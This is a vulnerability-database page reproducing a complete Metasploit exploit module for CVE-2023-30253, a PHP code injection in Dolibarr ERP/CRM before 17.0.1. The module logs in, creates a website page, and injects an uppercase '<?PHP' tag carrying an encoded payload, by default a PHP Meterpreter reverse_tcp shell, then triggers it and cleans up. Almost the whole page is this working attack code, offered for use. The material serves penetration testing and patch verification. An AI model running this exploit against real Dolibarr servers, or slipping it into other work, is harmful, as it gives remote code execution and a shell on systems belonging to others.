Lucene search
K

Dolibarr ERP/CRM Authenticated Code Injection

🗓️ 14 May 2026 19:00:13Reported by Tinexta Cyber Offensive Security Team, Emanuele CervelliType 
metasploit
 metasploit
🔗 www.rapid7.com👁 299 Views

Authenticated user can cause remote code execution in Dolibarr before 17.0.1 via Website module by capital PHP tag bypass.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection',
        'Description' => %q{
          Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an
          authenticated user who has access to the Website module. The
          application filters lowercase `<?php` tags to prevent PHP code
          injection in website page content, but this check can be bypassed
          by using an uppercase variant such as `<?PHP`. This
          allows injecting arbitrary PHP code that is executed when the
          website page is rendered. Versions prior to 17.0.1 are known to
          be vulnerable. The vulnerability was fixed in version 17.0.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Tinexta Cyber Offensive Security Team', # Discovery
          'Emanuele Cervelli'                      # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-30253'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'],
          ['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/']
        ],
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP Meterpreter',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp',
                'Encoder' => 'php/base64'
              }
            }
          ]
        ],
        'DisclosureDate' => '2023-05-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']),
        OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']),
        OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/'])
      ]
    )
  end

  def referer(path)
    proto = datastore['SSL'] ? 'https' : 'http'
    "#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
  end

  def get_csrf_token(path, referer: nil)
    headers = {}
    headers['Referer'] = referer if referer

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, path),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => headers
    )

    return nil if res.nil?

    html = res.get_html_document
    token_meta = html.at('meta[@name="anti-csrf-newtoken"]')
    return token_meta['content'] if token_meta

    token_input = html.at('input[@name="token"]')
    return token_input['value'] if token_input

    nil
  end

  def login
    token = get_csrf_token('index.php')
    fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil?

    vprint_status("Attempting login as #{datastore['USERNAME']}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => {
        'Referer' => referer('index.php')
      },
      'vars_post' => {
        'token' => token,
        'actionlogin' => 'login',
        'loginfunction' => 'loginfunction',
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    fail_with(Failure::Unreachable, 'No response received during login') if res.nil?
    fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password')

    print_good('Successfully authenticated to Dolibarr')
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )

    return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
    return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr')

    version = nil
    if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i
      version = ::Regexp.last_match(1)
    end

    if version
      ver = Rex::Version.new(version)
      if ver < Rex::Version.new('17.0.1')
        return CheckCode::Appears("Vulnerable version detected: #{version}")
      else
        return CheckCode::Safe("Not vulnerable, version detected: #{version}")
      end
    end

    CheckCode::Detected('Dolibarr detected but version could not be determined')
  end

  def create_website
    @website_name = Rex::Text.rand_text_alpha_lower(8)
    vprint_status("Creating website: #{@website_name}")
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))

    fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'action' => 'addsite',
        'website' => '-1',
        'WEBSITE_REF' => @website_name,
        'WEBSITE_LANG' => 'en',
        'addcontainer' => 'Create'
      }
    )

    fail_with(Failure::Unreachable, 'No response when creating website') if res.nil?
    fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied')

    print_good("Website '#{@website_name}' created")
    @website_created = true
  end

  def create_page
    @page_name = Rex::Text.rand_text_alpha_lower(6)
    vprint_status("Creating page: #{@page_name}")
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'action' => 'addcontainer',
        'website' => @website_name,
        'radiocreatefrom' => 'checkboxcreatemanually',
        'WEBSITE_TYPE_CONTAINER' => 'page',
        'sample' => 'empty',
        'WEBSITE_TITLE' => @page_name,
        'WEBSITE_PAGENAME' => @page_name,
        'WEBSITE_LANG' => 'en',
        'addcontainer' => 'Create'
      }
    )

    fail_with(Failure::Unreachable, 'No response when creating page') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    html = res.get_html_document
    page_option = html.at('select[@name="pageid"] option[selected]')
    fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil?

    @page_id = page_option['value']
    fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty?

    print_good("Page '#{@page_name}' created with ID #{@page_id}")
  end

  def inject_and_trigger
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?

    section_id = Rex::Text.rand_text_alpha_lower(8)
    page_content = %(<section id="#{section_id}" contenteditable="true"><?PHP #{payload.encoded}; ?></section>)

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'backtopage' => '',
        'dol_openinpopup' => '',
        'action' => 'updatesource',
        'website' => @website_name,
        'pageid' => @page_id,
        'update' => 'Save',
        'PAGE_CONTENT' => page_content
      }
    )

    fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil?

    print_good('Payload injected, triggering...')

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'website' => @website_name,
        'pageref' => @page_name
      }
    }, 5)
  end

  def get_website_id
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_get' => {
        'action' => 'deletesite',
        'token' => token,
        'website' => @website_name
      }
    )

    return nil if res.nil?

    match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite})
    return match[1] if match

    nil
  end

  def delete_page
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'backtopage' => '',
        'website' => @website_name,
        'pageid' => @page_id,
        'delete' => 'Delete'
      }
    )
  end

  def delete_website
    website_id = get_website_id
    return if website_id.nil?

    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_get' => {
        'id' => website_id,
        'action' => 'confirm_deletesite',
        'confirm' => 'yes',
        'token' => token,
        'delete_also_js' => '',
        'delete_also_medias' => ''
      }
    )
  end

  def cleanup
    super

    return unless @website_created

    begin
      vprint_status("Cleaning up website '#{@website_name}'")
      delete_page if @page_id
      delete_website
      print_good("Website '#{@website_name}' deleted")
    rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e
      print_warning("Cleanup failed: #{e.message}")
    end
  end

  def exploit
    login
    create_website
    create_page

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    inject_and_trigger
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation